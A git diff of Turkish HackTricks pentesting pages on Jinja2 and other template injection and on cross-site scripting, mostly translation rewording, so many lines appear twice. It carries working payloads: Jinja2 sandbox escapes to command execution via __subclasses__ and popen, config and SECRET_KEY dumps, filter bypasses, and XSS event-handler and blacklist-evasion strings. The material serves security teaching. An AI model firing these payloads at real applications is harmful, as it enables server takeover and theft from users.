Plates, Twig'den ilham alan PHP'ye özgü bir şablon motorudur. Ancak, yeni bir sözdizimi getiren Twig'in aksine, Plates şablonlarda yerel PHP kodunu kullanarak PHP geliştiricileri için sezgisel hale getirir.
Plates, Twig'den ilham alan PHP'ye özgü bir şablon motorudur. Ancak, yeni bir sözdizimi tanıtan Twig'in aksine, Plates şablonlarda yerel PHP kodunu kullanarak PHP geliştiricileri için sezgisel hale getirir.
Controller:
```php
@ -741,7 +740,7 @@ home = pugjs.render(injected_page)
### Python
Python'da **keyfi komut yürütme sandıkları atlama** hakkında ipuçları öğrenmek için aşağıdaki sayfayı kontrol edin:
Python'da **sandbox'ları atlayarak keyfi komut yürütme** hakkında ipuçları öğrenmek için aşağıdaki sayfayı kontrol edin:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -765,6 +764,7 @@ Python'da **keyfi komut yürütme sandıkları atlama** hakkında ipuçları ö
{{os.system('whoami')}}
{{os.system('whoami')}}
```
@ -797,6 +797,7 @@ Python'da **keyfi komut yürütme sandıkları atlama** hakkında ipuçları ö
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
@ -882,7 +883,7 @@ ${x}
### Mojolicious (Perl)
Perl olmasına rağmen, Ruby'deki ERB gibi etiketler kullanır.
Perl olmasına rağmen Ruby'deki ERB gibi etiketler kullanır.
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Hata`
@ -954,13 +955,13 @@ Faydalı olabileceğini düşünüyorsanız, okuyun:
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) **İspanya**'daki en ilgili siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
[**RootedCON**](https://www.rootedcon.com/) **İspanya**'daki en ilgili siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinin teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,8 +1,8 @@
# Jinja2 SSTI
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -35,7 +35,7 @@ app.run()
### **Hata Ayıklama İfadesi**
Eğer Hata Ayıklama Eklentisi etkinleştirilmişse, mevcut bağlamı ve mevcut filtreleri ve testleri dökmek için bir `debug` etiketi kullanılabilir. Bu, bir hata ayıklayıcı kurmadan şablonda kullanılabilecekleri görmek için faydalıdır.
Eğer Hata Ayıklama Eklentisi etkinse, mevcut bağlamı ve mevcut filtreleri ve testleri dökmek için bir `debug` etiketi kullanılabilir. Bu, bir hata ayıklayıcı kurmadan şablonda kullanılabilecekleri görmek için faydalıdır.
```python
<pre>
@ -47,6 +47,7 @@ Eğer Hata Ayıklama Eklentisi etkinleştirilmişse, mevcut bağlamı ve mevcut
</pre>
```
### **Tüm yapılandırma değişkenlerini dök**
@ -63,6 +64,7 @@ Eğer Hata Ayıklama Eklentisi etkinleştirilmişse, mevcut bağlamı ve mevcut
```
## **Jinja Injection**
@ -84,7 +86,7 @@ request
Sonra, bu nesnelerden **`<class 'object'>`** sınıfına ulaşmamız gerekiyor, böylece tanımlı **sınıfları** **recover** etmeye çalışabiliriz. Bunun nedeni, bu nesneden **`__subclasses__`** metodunu çağırarak **sandbox dışındaki** python ortamındaki tüm sınıflara erişebilmemizdir.
Bu **nesne sınıfına** erişmek için, önce bir **sınıf nesnesine** erişmeniz ve ardından ya **`__base__`**, **`__mro__()[-1]`** ya da `.`**`mro()[-1]`** ile erişmeniz gerekir. Ve sonra, bu **nesne sınıfına** ulaştıktan sonra **`__subclasses__()`** çağrısını yaparız.
Bu **nesne sınıfına** erişmek için, önce bir **sınıf nesnesine** erişmeniz ve ardından ya **`__base__`**, **`__mro__()[-1]`** ya da `.`**`mro()[-1]`** ile erişmeniz gerekiyor. Ve sonra, bu **nesne sınıfına** ulaştıktan sonra **`__subclasses__()`** metodunu **çağırıyoruz**.
Bu örneklere göz atın:
```python
@ -123,15 +125,16 @@ dict.__mro__[-1]
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
```
### RCE Kaçışı
**Kurtarılan** `<class 'object'>` ve `__subclasses__` çağrıldıktan sonra, artık bu sınıfları dosya okumak ve yazmak ve kod çalıştırmak için kullanabiliriz.
**Kurtarıldıktan sonra** `<class 'object'>` ve `__subclasses__` çağrıldıktan sonra, artık bu sınıfları dosya okumak ve yazmak ve kod çalıştırmak için kullanabiliriz.
`__subclasses__` çağrısı, **yüzlerce yeni işlev** erişme fırsatı verdi, sadece **dosya sınıfına** erişerek **dosya okumak/yazmak** veya **komut çalıştırmaya izin veren** (örneğin `os`) herhangi bir sınıfa erişerek mutlu olacağız.
`__subclasses__` çağrısı, **yüzlerce yeni işleve erişim** sağladı, **dosya sınıfına** erişerek **dosya okumak/yazmak** veya **komut çalıştırmaya izin veren** (örneğin `os`) herhangi bir sınıfa erişerek mutlu olacağız.
**Uzak dosyayı oku/yaz**
```python
@ -162,7 +165,7 @@ dict.__mro__[-1]
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
```
Daha fazla **sınıf** öğrenmek için **kaçış** yapabileceğiniz, **kontrol edebilirsiniz**:
Daha fazla **sınıf** öğrenmek için **kaçış** yapabileceğiniz **şunlara göz atabilirsiniz**:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -172,7 +175,7 @@ Daha fazla **sınıf** öğrenmek için **kaçış** yapabileceğiniz, **kontrol
#### Yaygın atlamalar
Bu atlamalar, bazı karakterler **kullanmadan** nesnelerin **niteliklerine** **erişmemizi** sağlayacaktır.\
Bu atlamalar, **bazı karakterler** kullanmadan **nesnelerin** **niteliklerine** **erişmemizi** sağlayacaktır.\
Daha önceki örneklerde bu atlamalardan bazılarını zaten gördük, ancak burada özetleyelim:
```bash
# Without quotes, _, [, ]
@ -201,20 +204,21 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
```
* [**Global bir nesneye erişim için daha fazla seçenek için buraya dönün**](jinja2-ssti.md#accessing-global-objects)
* [**Nesne sınıfına erişim için daha fazla seçenek için buraya dönün**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
* [**Daha fazla seçenek için buraya dönün, global bir nesneye erişim**](jinja2-ssti.md#accessing-global-objects)
* [**Daha fazla seçenek için buraya dönün, nesne sınıfına erişim**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
* [**Nesne sınıfı olmadan RCE elde etmek için bunu okuyun**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
**HTML kodlamasından kaçınma**
Varsayılan olarak Flask, güvenlik nedenleriyle bir şablondaki tüm içeriği HTML olarak kodlar:
Varsayılan olarak Flask, güvenlik nedenleriyle bir şablondaki her şeyi HTML olarak kodlar:
```python
{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;
```
**`safe`** filtresi, JavaScript ve HTML'yi sayfaya **HTML kodlaması** olmadan enjekte etmemize olanak tanır, şöyle:
**`safe`** filtresi, JavaScript ve HTML'i sayfaya **HTML kodlaması** olmadan enjekte etmemize olanak tanır, şöyle:
```python
{{'<script>alert(1);</script>'|safe}}
#will be
@ -241,13 +245,14 @@ Varsayılan olarak Flask, güvenlik nedenleriyle bir şablondaki tüm içeriği
```
## Jinja Injection without **\<class 'object'>**
[**Küresel nesneler**](jinja2-ssti.md#accessing-global-objects) bölümünden, **o sınıfı kullanmadan RCE'ye ulaşmanın** başka bir yolu vardır.\
```
## Jinja Enjeksiyonu **\<class 'object'>** Olmadan
[**Küresel nesneler**](jinja2-ssti.md#accessing-global-objects) kısmından, **o sınıfı kullanmadan RCE'ye ulaşmanın** başka bir yolu vardır.\
Eğer bu küresel nesnelerden herhangi bir **fonksiyona** ulaşmayı başarırsanız, **`__globals__.__builtins__`**'e erişebileceksiniz ve buradan **RCE** çok **basit** olacaktır.
Erişim sağladığınız **`request`**, **`config`** ve diğer ilginç **küresel nesnelerden** fonksiyonları **bulabilirsiniz**:
Erişim sağladığınız **`request`**, **`config`** ve diğer **ilginç küresel nesnelerden** fonksiyonları **bulabilirsiniz**:
```bash
{{ request.__class__.__dict__ }}
- application
@ -281,6 +286,7 @@ Biraz işlev bulduktan sonra, yerleşik işlevleri şu şekilde geri alabilirsin
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
@ -290,7 +296,7 @@ Biraz işlev bulduktan sonra, yerleşik işlevleri şu şekilde geri alabilirsin
```
### Fuzzing WAF bypass
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) CTF'ler için özel olarak tasarlanmış bir araçtır, ancak gerçek senaryolarda geçersiz parametreleri brute force yapmak için de faydalı olabilir. Araç, filtreleri tespit etmek için kelimeleri ve sorguları yayar, bypass arar ve ayrıca etkileşimli bir konsol sağlar.
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) CTF'ler için özel olarak tasarlanmış bir araçtır, ancak gerçek senaryolarda geçersiz parametreleri brute force yapmak için de faydalı olabilir. Araç, filtreleri tespit etmek, bypass aramak için kelimeleri ve sorguları yayar ve ayrıca etkileşimli bir konsol sağlar.
```
webui:
As the name suggests, web UI
@ -323,16 +329,16 @@ The request will be urlencoded by default according to the HTTP format, which ca
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -2,7 +2,7 @@
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
Eğer **hackleme kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -10,13 +10,13 @@ Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek is
1. **Kontrol ettiğiniz herhangi bir değerin** (_parametreler_, _yol_, _başlıklar_?, _çerezler_?) HTML'de **yansıtılıp** yansıtılmadığını veya **JS** kodu tarafından **kullanılıp kullanılmadığını** kontrol edin.
2. **Yansıtıldığı/kullanıldığı bağlamı** bulun.
3. Eğer **yansıtılmışsa**:
3. Eğer **yansıtılmışsa**
1. **Hangi sembolleri kullanabileceğinizi** kontrol edin ve buna bağlı olarak yükü hazırlayın:
1. **ham HTML** içinde:
1. Yeni HTML etiketleri oluşturabilir misiniz?
2. `javascript:` protokolünü destekleyen olayları veya nitelikleri kullanabilir misiniz?
3. Koruma mekanizmalarını aşabilir misiniz?
4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyor mu, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz.
4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyorsa, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz.
5. JS kodunu çalıştıran HTML etiketleri oluşturamıyorsanız, [**Dangling Markup - HTML scriptsiz enjeksiyonu**](../dangling-markup-html-scriptless-injection/) istismar edebilir misiniz?
2. **HTML etiketinin** içinde:
1. Ham HTML bağlamına çıkabilir misiniz?
@ -26,9 +26,9 @@ Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek is
3. **JavaScript kodunun** içinde:
1. `<script>` etiketini kaçırabilir misiniz?
2. Dizeyi kaçırabilir ve farklı JS kodu çalıştırabilir misiniz?
3. Girdiğiniz değer şablon dizeleri \`\` içinde mi?
3. Girdiğiniz değer şablon literalleri \`\` içinde mi?
4. Koruma mekanizmalarını aşabilir misiniz?
4. Javascript **fonksiyonu** **çalıştırılıyor**:
4. Javascript **fonksiyonu** **çalıştırılıyor**
1. Çalıştırılacak fonksiyonun adını belirtebilirsiniz. örneğin: `?callback=alert(1)`
4. Eğer **kullanılıyorsa**:
1. **DOM XSS** istismar edebilirsiniz, girdinizin nasıl kontrol edildiğine ve **kontrol ettiğiniz girdinin herhangi bir sink tarafından kullanılıp kullanılmadığına** dikkat edin.
@ -43,9 +43,9 @@ Karmaşık bir XSS üzerinde çalışırken bilmek ilginç olabilir:
Bir XSS'i başarıyla istismar etmek için bulmanız gereken ilk şey, web sayfasında **yansıtılan sizin kontrolünüzdeki bir değerdir**.
* **Ara yansıtılmış**: Eğer bir parametrenin değeri veya hatta yolun web sayfasında yansıtıldığını bulursanız, **Yansıtılmış XSS** istismar edebilirsiniz.
* **Saklanan ve yansıtılan**: Eğer kontrol ettiğiniz bir değerin sunucuda kaydedildiğini ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, **Saklanan XSS** istismar edebilirsiniz.
* **JS ile erişilen**: Eğer kontrol ettiğiniz bir değerin JS kullanılarak erişildiğini bulursanız, **DOM XSS** istismar edebilirsiniz.
* **Ara yansıtılmış**: Eğer bir parametrenin değeri veya hatta yolun web sayfasında yansıtıldığını bulursanız, bir **Yansıtılmış XSS** istismar edebilirsiniz.
* **Saklanmış ve yansıtılmış**: Eğer kontrol ettiğiniz bir değerin sunucuda saklandığını ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, bir **Saklanmış XSS** istismar edebilirsiniz.
* **JS ile erişilen**: Eğer kontrol ettiğiniz bir değerin JS kullanılarak erişildiğini bulursanız, bir **DOM XSS** istismar edebilirsiniz.
## Bağlamlar
@ -98,7 +98,7 @@ Javascript Hoisting, **kullanımdan sonra fonksiyonları, değişkenleri veya s
### Javascript Fonksiyonu
Birçok web sayfası, **çalıştırılacak fonksiyonun adını parametre olarak kabul eden uç noktalar içerir.** Gerçek hayatta görülen yaygın bir örnek: `?callback=callbackFunc`.
Birçok web sayfası, **çalıştırılacak fonksiyonun adını parametre olarak kabul eden uç noktalar içerir.** Gerçek hayatta sıkça görülen bir örnek: `?callback=callbackFunc`.
Kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalışılıp çalışılmadığını anlamanın iyi bir yolu, **parametre değerini değiştirmektir** (örneğin 'Vulnerable' olarak) ve konsolda şu hataları aramaktır:
@ -118,9 +118,9 @@ nextElementSibiling
lastElementSibiling
parentElement
```
You can also try to **Javascript fonksiyonlarını** doğrudan tetiklemek: `obj.sales.delOrders`.
You can also try to **Javascript fonksiyonlarını** doğrudan tetiklemeyi: `obj.sales.delOrders`.
Ancak, genellikle belirtilen fonksiyonu yürüten uç noktalar, çok ilginç DOM'a sahip olmayan uç noktalardır, **aynı kökenden diğer sayfalar** daha fazla işlem yapmak için **daha ilginç bir DOM** içerecektir.
Ancak, genellikle belirtilen fonksiyonu yürüten uç noktalar, çok ilginç DOM'a sahip olmayan uç noktalardır, **aynı kökenden diğer sayfalar** daha fazla işlem yapmak için **daha ilginç bir DOM** olacaktır.
Bu nedenle, **farklı bir DOM'da bu zafiyeti istismar etmek için** **Same Origin Method Execution (SOME)** istismarı geliştirilmiştir:
@ -130,7 +130,7 @@ Bu nedenle, **farklı bir DOM'da bu zafiyeti istismar etmek için** **Same Origi
### DOM
**JS kodu** bazı **saldırgan tarafından kontrol edilen verileri** **güvensiz bir şekilde** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu rastgele JS kodu yürütmek için istismar edebilir.
**JS kodu** bazı **saldırgan tarafından kontrol edilen** verileri **güvensiz bir şekilde** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu rastgele JS kodu yürütmek için istismar edebilir.
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
@ -138,7 +138,7 @@ Bu nedenle, **farklı bir DOM'da bu zafiyeti istismar etmek için** **Same Origi
### **Evrensel XSS**
Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **rastgele JavaScript yürütmesi** **RCE** elde etmek, istemcilerde ve sunucularda **rastgele dosyaları** **okumak** ve daha fazlası için istismar edilebilir.\
Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarına bağlı değildir, **herhangi bir** **bağlamda** geçerlidir. Bu tür **rastgele JavaScript yürütmesi** **RCE** elde etmek, istemcilerde ve sunucularda **rastgele** **dosyaları** okumak ve daha fazlası için bile istismar edilebilir.\
Bazı **örnekler**:
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
@ -155,22 +155,22 @@ Bazı **örnekler**:
## Ham HTML içinde enjekte etme
Girdiğiniz **HTML sayfasında** yansıtılıyorsa veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: Sadece o **karakteri yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **silinip silinmediğini** ya da **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebileceksiniz**.\
Girdiğiniz **HTML sayfasında** yansıtılıyorsa veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: Sadece o **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **silinip silinmediğini** ya da **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebileceksiniz**.\
Bu durumlar için ayrıca **[Müşteri Tarafı Şablon Enjeksiyonu](../client-side-template-injection-csti.md)**'nu da **aklınızda bulundurun**.\
_**Not: Bir HTML yorumu,** ****`-->`**** **veya** ****`--!>`** **kullanılarak kapatılabilir**_
_**Not: Bir HTML yorumu, \*\*\*\***** ****`-->`**** ****veya \*\*\*\*****`--!>`** ile kapatılabilir._
Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür payload'lar kullanabilirsiniz:
Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür yükleri kullanabilirsiniz:
```html
<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
```
Ama, eğer etiketler/özellikler kara/beyaz listeleme kullanılıyorsa, hangi etiketleri oluşturabileceğinizi **kaba kuvvetle denemeniz** gerekecek.\
Hangi etiketlerin izin verildiğini **bulduktan sonra**, bulunan geçerli etiketler içinde **özellikler/olayları kaba kuvvetle denemeniz** gerekecek, böylece bağlamı nasıl saldırıya uğratabileceğinizi görebilirsiniz.
Ama, eğer etiketler/özellikler kara/beyaz listeleme kullanılıyorsa, hangi etiketleri oluşturabileceğinizi **brute-force** etmeniz gerekecek.\
Hangi etiketlerin izin verildiğini **bulduktan** sonra, saldırı yapabileceğiniz bağlamı görmek için bulunan geçerli etiketler içinde **özellikler/olayları brute-force** etmeniz gerekecek.
### Etiketler/Olaylar kaba kuvvet
### Etiketler/Olaylar brute-force
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları kaba kuvvetle deneyebilirsiniz** (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve önceki prosedürü izleyin).
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute-force** edebilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve önceki prosedürü takip edin).
### Özel etiketler
@ -180,7 +180,7 @@ Eğer geçerli bir HTML etiketi bulamadıysanız, **özel bir etiket oluşturmay
```
### Blacklist Bypasses
Eğer bir tür kara liste kullanılıyorsa, onu bazı basit hilelerle aşmayı deneyebilirsiniz:
Eğer bir tür kara liste kullanılıyorsa, bunu bazı basit hilelerle aşmayı deneyebilirsiniz:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -233,7 +233,7 @@ onerror=alert`1`
### Uzunluk atlatma (küçük XSS'ler)
{% hint style="info" %}
**Farklı ortamlar için daha fazla küçük XSS** yük [**burada bulunabilir**](https://github.com/terjanq/Tiny-XSS-Payloads) ve [**burada**](https://tinyxss.terjanq.me).
**Farklı ortamlar için daha fazla küçük XSS** payload [**burada bulunabilir**](https://github.com/terjanq/Tiny-XSS-Payloads) ve [**burada**](https://tinyxss.terjanq.me).
{% endhint %}
```html
<!-- Taken from the blog of Jorge Lajara -->
@ -251,14 +251,14 @@ Eğer zafiyeti istismar etmek için **kullanıcının önceden doldurulmuş veri
### Impossible - Dangling Markup
Eğer **JS kodunu çalıştırmak için bir niteliğe sahip bir HTML etiketi oluşturmanın imkansız olduğunu** düşünüyorsanız, [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) kontrol etmelisiniz çünkü zafiyeti **JS** kodu çalıştırmadan **istismar** edebilirsiniz.
Eğer **JS kodunu çalıştırmak için bir niteliğe sahip bir HTML etiketi oluşturmanın imkansız olduğunu** düşünüyorsanız, [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) kontrol etmelisiniz çünkü zafiyeti **JS** kodu çalıştırmadan **istismar edebilirsiniz**.
## Injecting inside HTML tag
### Inside the tag/escaping from attribute value
Eğer **bir HTML etiketinin içindeyseniz**, denemek için ilk şey **etiketten kaçmak** ve [önceki bölümde](./#injecting-inside-raw-html) belirtilen bazı teknikleri kullanarak JS kodunu çalıştırmaktır.\
Eğer **etiketten kaçamazsanız**, JS kodunu çalıştırmak için etiketin içinde yeni nitelikler oluşturabilirsiniz, örneğin (_bu örnekte çift tırnakların niteliği kaçmak için kullanıldığını unutmayın, eğer girdiniz doğrudan etiketin içinde yansıtılıyorsa onlara ihtiyacınız olmayacak_):
Eğer **etiketten kaçamazsanız**, etikette yeni nitelikler oluşturarak JS kodunu çalıştırmayı deneyebilirsiniz, örneğin (_bu örnekte çift tırnakların niteliği kaçmak için kullanıldığını unutmayın, eğer girdiniz doğrudan etiketin içinde yansıtılıyorsa onlara ihtiyacınız olmayacak_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -275,12 +275,12 @@ Eğer **etiketten kaçamazsanız**, JS kodunu çalıştırmak için etiketin iç
```
### Attribute içinde
Eğer **atribütten kaçamazsanız** (`"` kodlanıyor veya siliniyor), **değerinizin hangi atributte** yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu kötüye kullanabilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırabilirsiniz.\
Başka ilginç bir **örnek** ise `href` atributudur; burada `javascript:` protokolünü kullanarak rastgele kod çalıştırabilirsiniz: **`href="javascript:alert(1)"`**
**Özellikten kaçamazsanız bile** (`"` kodlanıyor veya siliniyor), **değerinizin hangi özellikte yansıtıldığına bağlı olarak** **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize göre** bunu kötüye kullanabileceksiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırabilirsiniz.\
Bir diğer ilginç **örnek** ise `href` özelliğidir; burada rastgele kod çalıştırmak için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
**HTML kodlaması/URL kodlaması kullanarak olay içindeki atlatma**
